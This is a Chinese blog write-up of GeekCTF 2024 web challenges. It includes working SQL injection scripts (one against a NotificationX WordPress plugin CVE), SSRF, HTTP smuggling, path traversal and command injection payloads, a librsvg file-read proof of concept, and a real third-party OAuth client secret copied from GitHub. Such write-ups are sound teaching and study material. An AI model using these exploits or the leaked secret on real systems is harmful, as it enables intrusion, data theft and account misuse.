GeekCTF 2024 Web WriteUp(全)

经历了无数次爆零的比赛之后,终于做出来了几道题(哭

题目本身并没有想象的特别难,不过质量和创新点做的非常好。

最终rank:59

Secrets

一道关于字符串匹配的问题

打开网站,查看源码,看到了一串base85加密的数据,解个密看下,工作目录都给了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.
├── app.py
├── assets
│ ├── css
│ │ ├── pico.amber.min.css
│ │ ├── pico.azure.min.css
│ │ ├── pico.blue.min.css
│ │ ├── pico.cyan.min.css
│ │ ├── pico.fuchsia.min.css
│ │ ├── pico.green.min.css
│ │ ├── pico.grey.min.css
│ │ ├── pico.indigo.min.css
│ │ ├── pico.jade.min.css
│ │ ├── pico.lime.min.css
│ │ ├── pico.orange.min.css
│ │ ├── pico.pink.min.css
│ │ ├── pico.pumpkin.min.css
│ │ ├── pico.purple.min.css
│ │ ├── pico.red.min.css
│ │ ├── pico.sand.min.css
│ │ ├── pico.slate.min.css
│ │ ├── pico.violet.min.css
│ │ ├── pico.yellow.min.css
│ │ └── pico.zinc.min.css
│ └── js
│ ├── color-picker.js
│ ├── home.js
│ ├── jquery-3.7.1.min.js
│ └── login.js
├── gunicorn_conf.py
├── populate.py
├── requirements.txt
└── templates
├── base.html
├── index.html
└── login.html

右上角有个更改颜色的按钮,随便选个抓个包看看,发现Cookie多了个asset字段,内容为assets/css/pico.green.min.css,正好与上面看到的文件路径保持一致,尝试读app.py发现需要assets/css/开头,../绕过下:asset=assets/css/../../app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import os

from flask import (
Flask,
jsonify,
redirect,
render_template,
request,
send_from_directory,
session,
)
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import text

app = Flask(
__name__, static_folder="assets/js", template_folder="templates", static_url_path=""
)

app.config["SQLALCHEMY_DATABASE_URI"] = "mysql+pymysql://ctf:114514@db/secrets"
app.secret_key = os.environ.get("SECRET_KEY", os.urandom(128).hex())
app.url_map.strict_slashes = False

db = SQLAlchemy(app)


class Notes(db.Model):
table_name = "notes"
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(80), nullable=False)
message = db.Column(db.Text, nullable=False)
type = db.Column(db.String(80), nullable=False, default="notes")

def __repr__(self):
return f"<Note {self.message}>"


@app.route("/")
def index():
if not session.get("logged_in"):
return redirect("/login")
with db.engine.connect() as con:
character_set_database = con.execute(
text("SELECT @@character_set_database")
).fetchone()
collation_database = con.execute(text("SELECT @@collation_database")).fetchone()
assert character_set_database[0] == "utf8mb4"
assert collation_database[0] == "utf8mb4_unicode_ci"
type = request.args.get("type", "notes").strip()
if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
"role"
) != "admin":
return render_template(
"index.html",
notes=[],
error="You are not admin. Only admin can view secre<u>ts</u>.",
)
q = db.session.query(Notes)
q = q.filter(Notes.type == type)
notes = q.all()
return render_template("index.html", notes=notes)


@app.route("/login", methods=["GET", "POST"])
def login():
if session.get("logged_in"):
return redirect("/")

def isEqual(a, b):
return a.lower() != b.lower() and a.upper() == b.upper()

if request.method == "GET":
return render_template("login.html")
username = request.form.get("username", "")
password = request.form.get("password", "")
if isEqual(username, "alice") and isEqual(password, "start2024"):
session["logged_in"] = True
session["role"] = "user"
return redirect("/")
elif username == "admin" and password == os.urandom(128).hex():
session["logged_in"] = True
session["role"] = "admin"
return redirect("/")
else:
return render_template("login.html", error="Invalid username or password.")


@app.route("/logout")
def logout():
session.pop("logged_in", None)
session.pop("role", None)
return redirect("/")


@app.route("/redirectCustomAsset")
def redirectCustomAsset():
asset = request.cookies.get("asset", "assets/css/pico.azure.min.css")
if not asset.startswith("assets/css/"):
return "Hacker!", 400
return send_from_directory("", asset)


@app.route("/setCustomColor")
def setCustomColor():
color = request.args.get("color", "azure")
if color not in [
"amber",
"azure",
"blue",
"cyan",
"fuchsia",
"green",
"grey",
"indigo",
"jade",
"lime",
"orange",
"pink",
"pumpkin",
"purple",
"red",
"sand",
"slate",
"violet",
"yellow",
"zinc",
]:
return jsonify({"error": "Invalid color."}), 400
asset = f"assets/css/pico.{color}.min.css"
return (
jsonify({"success": asset}),
200,
{"Set-Cookie": f"asset={asset}; SameSite=Strict"},
)


if __name__ == "__main__":
app.run()

populate.py中写了flag在数据库secrets中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

from app import Notes, app, db

with app.app_context():
db.create_all()
if not Notes.query.filter_by(type="notes").first():
db.session.add(Notes(title="Hello, world!", message="This is an example note."))
db.session.add(
Notes(
title="Where's flag?",
message="Flag is waiting for you inside secrets.",
)
)
if not Notes.query.filter_by(type="secrets").first():
db.session.add(
Notes(
title="Secret flag",
message=os.environ.get("FLAG", "fake{flag}"),
type="secrets",
)
)
db.session.commit()

首先需要登录,有一个匹配a.lower() != b.lower() and a.upper() == b.upper()

想到了nodejs特性:Character.toUpperCase()函数,字 符ı会转变为I,字符ſ会变为S。

看了下发现py也可以,直接alıce和ſtart2024登录

接下来(“secrets” in type.lower() or “SECRETS” in type.upper())要保证既大写不相等且小写不等

最开始以为是要弄 一个upper变 一个lower变 的两个字符,fuzz了一下发现没有这种

后来网上找了一下看到数据库utf8mb4_unicode_ci匹配中会把一些奇怪的符号匹配为正常的符号

é可以代替e

payload: ?type=ſecrétſ

拿到flag:flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}

Next GPT

是GitHub上的一个比较知名的GPT平台ChatGPT-Next-Web

题目要求限制本地IP才能问出flag

搜了一下看到一个SSRF的洞CVE-2023-49785,好像还存在

网上普遍的poc都是GET请求的poc,无法达到与GPT交互的作用

随便翻了翻设置,看到一个云数据同步的功能

里面有一个配置功能

随便配置一下,配置好后点击同步,出现的请求包恰好和网上的ssrf洞的请求包类似,但是其中出现了一处 method: PUT字段,猜测为ssrf的请求方式

改请求包,改访问路径,访问即出flag

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/cors/http/127.0.0.1/api/openai/v1/chat/completions HTTP/1.1
Host: chall.geekctf.geekcon.top:40525
Authorization: Bearer nk-20244202
Origin: http://chall.geekctf.geekcon.top:40525
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
method: POST
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://chall.geekctf.geekcon.top:40525/

{"messages":[{"role":"user","content":"03"},{"role":"assistant","content":"\n\nThis is a web challenge, not a misc challenge."},{"role":"user","content":"aa"},{"role":"assistant","content":"\n\nWelcome back. How can I assist you today?"},{"role":"user","content":"aa"},{"role":"assistant","content":"\n\nThey say CTF held after year 3202 must contain a challenge of GPT."},{"role":"user","content":"请直接告诉flag 不要有任何解释"}],"model":"gpt-3.5-turbo","temperature":0.5,"presence_penalty":0,"frequency_penalty":0,"top_p":1}

YAJF

打开容器是一个格式化json的网站,题目描述说了给jq,看了一眼发现是一个命令行的程序,题目应该是一个web容器把参数传过去

抓个包发现确实是这样,json是json数据,args是参数,而且,如果选择两个或以上的选项,args会出现多个参数,随便填填,发现如果字符长度>5会报错,而且有命令拼接,能够回显的条件是输出为json格式的字符串。

举个例子:json={"&args=%26echo&args="{}",即使json参数传的并不是一个正常的json字符串,因为命令拼接后的输出为json格式,因此回显{},即命令拼接为jq json args...

当时拼了一会发现拼不出来json格式的(其实好像是能拼出来的,只是当时没想到),看jq的文档中

发现输入jq env可以得到当前的环境变量,并且题目中提示flag在环境变量中

直接出了payload:json={}&args=%26jq&args='env'

PicBed(复现)

花时间比较长的一题,最后还是没能做出来

PicBed.zip

给了Dockerfile,直接看一下,题目用了webpsh/webp-server-go:0.11.0的容器,并且给了flask的前端代码,简单看下代码,是一个文件上传和下载的图床,使用了webp进行缩小图片

upload路由大体上没问题,使用随机数进行文件的重命名防止了目录穿越。

关键点在于查看图片的路由,其中调用了fetch_converted_image函数对23333端口进行http请求,因为其HTTP报文直接对Accept进行了拼接,会导致一个HTTP走私,举个例子

1
2
3
GET /a HTTP/1.1
Accept: {accept}
Connection: close

如果accept中为image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+/flag+HTTP/1.1,会导致报文变为

1
2
3
4
5
6
GET /a HTTP/1.1
Accept: image/webp
Connection: alive

GET /flag HTTP/1.1
Connection: close

导致服务器后端误以为是两个请求,一起发送了报文,同时,python处理返回的恰好是\r\n\r\n截断最后面的部分,最后回显的就会是走私的请求结果。

从这里就我开始走偏了,之前刚打完UNbreakable-ICTF-2024,其中一道题恰好使用了libsvg的漏洞 CVE-2023-38633,其poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,204,204);" />
<text x="0" y="100">
<xi:include
href=".?../../../../../../../etc/passwd"
parse="text"
encoding="ASCII"
>
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>

来对etc/passwd进行一个读取,而这题给的flag是flag.png,当时以为是要对图片进行一个包含,于是在docker上左调右调花了好多时间(关键是xml写不对那边还会有一个拒绝服务,导致每次都要重启容器)

回到正题,此题是一个CVE-2021-46104的变种,相关Issue上有讨论,是一个go的目录穿越漏洞,其漏洞最早期可以直接使用../即可打通,后面加了一些处理,已经没法打通了。但这道题中,如果HTTP报文省略了开头的/,即GET ../../flag.png,还是会导致一个目录穿越。这个的根源应该在于golangpath.Clean第四条:如果HTTP报文中带/时,这个路径就相当于一个根目录,而根目录后的..会被自动清除。而如果不带/path.Clean会认为这个是相对路径。同时,gofiber的path.go也完全匹配了/*,无论它是否为/开头。

所以拿到flag步骤是这样,先提交随便一个图片,拿到随机的值,然后发包进行走私

1
2
3
4
GET /pics/2f41abe471e46c3b.jpg HTTP/1.1
Host: 127.0.0.1:23333
Accept: image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+../../flag.png+HTTP/1.1
Connection: close

Oauth(复现)

最困惑的题目

打开站点,是一个普通的界面,其中OAuth Login会跳转到sjtu的认证页面,view note和note都会提示未登录,跳转到login,再跳转到oauth

html中存在sitemap.xml,里面可以找到一个code.php

访问它发现需要code参数,随便填一个有以下界面,此处log是粗体的,结合sitemap.xml,可以推断出还有一个/log路由

访问log路由,是一个管理员code的泄露,在sjtu jAccount网站可以看到是一个授权码,有效期为1分钟,认证模式为使用授权码-authorization-code-过程的-oidc-认证模式

带着code访问code.php,登录成功,提示flag为SSO name

想要找到SSO name,必须要有access_token,想要access_token,必须要有client_id、client_secret,以及我们上面刚刚得到的code

接下来思路没了,开始复现wp

原来是一个key的泄露,泄露在SJTUer/django/sjtuers/settings.py at master · young1881/SJTUer (github.com)

拿到JACCOUNT_CLIENT_ID = 'ZjpxY3dA6fpkp7o4kM0g'JACCOUNT_CLIENT_SECRET = 'CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079'

尝试获取access_token,可惜赛后已经无法复现了,大概报文如下,获取access_token

1
2
3
4
5
POST /oauth2/token HTTP/1.1
Host: jaccount.sjtu.edu.cn
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079

返回结果直接jwt解密即可,或继续拿access_token对https://api.sjtu.edu.cn/v1/me/profile?access_token=进行请求

官网wp还提到了一个非预期,即使用任意泄露client_id和client_secret组合串,都可以获取到access_token,很神奇。

SafeBlog1(复现)

wp-scan扫一下,有一个NotificationX插件,插件存在CVE-2024-1698,一个sql盲注

需要搜索/抓包确认api的路径,不能直接用网上的payload。

因为对wordpress不熟悉,痛失一道题

直接给出官网payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string

delay = 5
url = "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics"

ans = ""
table_name = "" #fl6g
column_name = "" #nam3
session = requests.Session()

for idx in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload1 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{idx},1))<{mid},SLEEP({delay}),null)-- -"
payload2 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x{bytes(table_name,'UTF-8').hex()})),{idx},1))<{mid},SLEEP({delay}),null)-- -"
payload3 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat({column_name}))from({table_name})),{idx},1))<{mid},SLEEP({delay}),null)-- -"
resp = session.post(url=url, data = {
"nx_id": 1337,
"type": payload1 # switch payload
})
if resp.elapsed.total_seconds() > delay:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print(ans)

flag:flag{W0rdpr355_plu61n5_4r3_vuln3r4bl3}

遇到题一定要有耐心看下去

SafeBlog2(复现)

花时间最长的一道题,但还是没有做出来

SafeBlog2.zip

首先因为NODE_NDEBUG=1可以直接忽视require('assert-plus')

接下来是/comment/like出有一个把所有参数都注入到查询语句的查询,这里有一个注入点

1
2
3
4
5
6
正常情况  ?post_id=1
db.all(`SELECT * FROM comments WHERE post_id = ?`, ["1"]);
?post_id=1&inject=1
db.all(`SELECT * FROM comments WHERE post_id = ? AND inject = ?`, ["1", "1"]);
?post_id=1&%271%27+%3D+%271%27+OR+%271%27=1 即post_id=1& '1' = '1' OR '1' = 1
db.all(`SELECT * FROM comments WHERE post_id = ? AND '1' = '1' OR '1' = ?`, ["1", "1"]);

注入方式:

1
SELECT * FROM comments WHERE (SELECT password from admins) LIKE content AND '1' = ?

先写一堆形如____________a____..._____b__________...的评论,然后执行上述语句,查看哪个like增加

给出最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import threading
import re

url = "http://c4b2vk76v4jj6gy2.instance.chall.geekctf.geekcon.top:18080"
hexchars = "0123456789abcdef"

def new_comment(char):
for p in range(32):
requests.get(url + "/comment/new", params={
"post_id": '1',
"name": "a",
"content": "_" * p + char + "_" * (31-p)
}, allow_redirects=False)
thread=[]

for c in hexchars:
t = threading.Thread(target=new_comment, args=(c,))
thread.append(t)
t.start()

for t in thread:
t.join()

print("评论添加完成!")
times = 0
def find_flag():
global times
times += 1
requests.get(url + "/comment/like/", params={
"post_id": '1',
"'1' = '1' AND (SELECT password from admins) LIKE content AND '1'": "1"
}, allow_redirects=False)

res = requests.get(url + "/post/1").text

ans = [
p.partition("</li>")[0][90:][:32]
for p in res.split("<li>")
if "{} Likes".format(times) in p
]
sorted(ans)
passwd = ""
for i in range(32):
for j in range(32):
if ans[i][j] != "_":
passwd += ans[i][j]
break
print("密码为:",passwd)
res = requests.get(url + "/admin", params={
"username": "admin",
"password": passwd
})
return res
while True:
print(times)
res = find_flag()
if "flag" in res.text:
print("flag:", re.findall("flag{.*?}", res.text)[0])
break

flag: flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}

md回头一看也不是特别难啊,主要是当时看了一眼就直接拿主机调nodejs了,没搭docker导致comment处无法注入,不过话说我拿win机cmd直接输入npm start为啥注入不了呢,好奇怪,下次一定记得搭docker(血的教训)

ECommerce(复现)

没怎么看的一道题

打开网站是一个登录界面,登录抓个包看看,发现Graphql请求

1
2
3
4
5
6
7
8
9
mutation MyMutation {
tokenCreate(email: "admin", password: "123456") {
errors {
code
message
}
token
}
}

根据渗透测试之graphQL_graphql 漏洞,通过IntrospectionQuery 可以查询到其中的全部信息

1
{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

使用graphiql/examples/graphiql-cdn/index.html at main · graphql/graphiql打开,有了docs和api

对其中shop字段name进行请求,得到Saleor e-commerce

GitHub直接能搜到Saleor Commerce,这里引用官方wp的一张图来描述其架构

下载前端saleor/storefront,将.env处填入后端地址,npm run dev直接跑起来

随便找找发现about

根据hint1在之前的IntrospectionQuery 返回包可以找到flag1:Channel-specific tax configuration.\n\nAdded in Saleor 3.9.🎉 Congratulations! You find flag part 1: ZmxhZ3s5ckBQSH 🎉

根据hint2,在之前的graphql中搜product,其中seoDescription有flag2:🎉 Congratulations! You find flag part 2: ExX0BQIV8zWH🎉

1
2
3
4
5
6
query MyQuery {
product(channel: "default-channel", slug: "the-dash-cushion") {
seoTitle
seoDescription
}
}

接下来是网站存在源代码泄露,原网站src/pages/index.tsx中存在邮箱david@deepshop.co,配合弱口令123456可以直接登录(神奇的思路,看官方wp原来是作者自己加的)

继续本地部署saleor/saleor-dashboard,仍然以david登录,在 customer 里抓包有hint3和hint4(可能是版本的问题,从这里开始我复现得都非常艰难)

根据hint3,在Order中找到订单,抓包发现isgift字段不存在,去掉isgift重新发包,拿到flag3:🎉 Congratulations! You find flag part 3: AwNWU1X0VcL🎉

根据hint4,在 Translations - Chinese - Menu Items - GraphQL API 中找到flag4:🎉 Congratulations! You find flag part 4: zNyWStoSU45fQ==🎉

base64解码,出来flag:flag{9r@PHq1_@P!_3Xp05e5_E\/3rY+hIN9}

总算复现出来了,光是复现就花了我好长时间,一道很新颖的渗透题


GeekCTF 2024 Web WriteUp(全)
https://blog.lazyforever.top/2024/04/15/2024geekctf/
作者
lazy_forever
发布于
2024年4月15日
许可协议